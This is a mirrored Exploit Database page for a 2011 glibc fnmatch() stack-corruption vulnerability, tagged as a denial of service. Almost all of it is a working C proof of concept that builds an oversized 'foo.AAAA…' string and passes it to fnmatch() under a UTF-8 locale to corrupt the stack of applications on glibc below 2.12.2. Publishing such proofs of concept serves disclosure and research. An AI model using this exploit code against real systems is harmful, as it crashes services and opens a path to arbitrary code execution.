GNU glibc < 2.12.2 - 'fnmatch()' Stack Corruption

• Exploit Database
• 114 阅读

• 作者： Simon Berry-Byrne
  日期： 2011-02-25
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/17120/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  /* source: https://www.securityfocus.com/bid/46563/info   GNU glibc is prone to a stack-corruption vulnerability.   An attacker can exploit this issue to execute arbitrary machine code in the context of the application that uses the affected library. Failed exploit attempts will likely crash the application.   GNU glibc versions prior to 2.12.2 are vulnerable. */   #include <err.h> #include <fnmatch.h> #include <locale.h> #include <stdlib.h> #include <string.h>   int main(int argc, const char* argv[]) { size_t num_as; char* p; setlocale(LC_ALL, "en_US.UTF8"); if (argc < 2) { errx(1, "Missing argument."); } num_as = atoi(argv[1]); if (num_as < 5) { errx(1, "Need 5."); } p = malloc(num_as); if (!p) { errx(1, "malloc() failed."); } memset(p, &apos;A&apos;, num_as); p[num_as - 1] = &apos;\0&apos;; p[0] = &apos;f&apos;; p[1] = &apos;o&apos;; p[2] = &apos;o&apos;; p[3] = &apos;.&apos;; fnmatch("*.anim[1-9j]", p, 0); return 0; }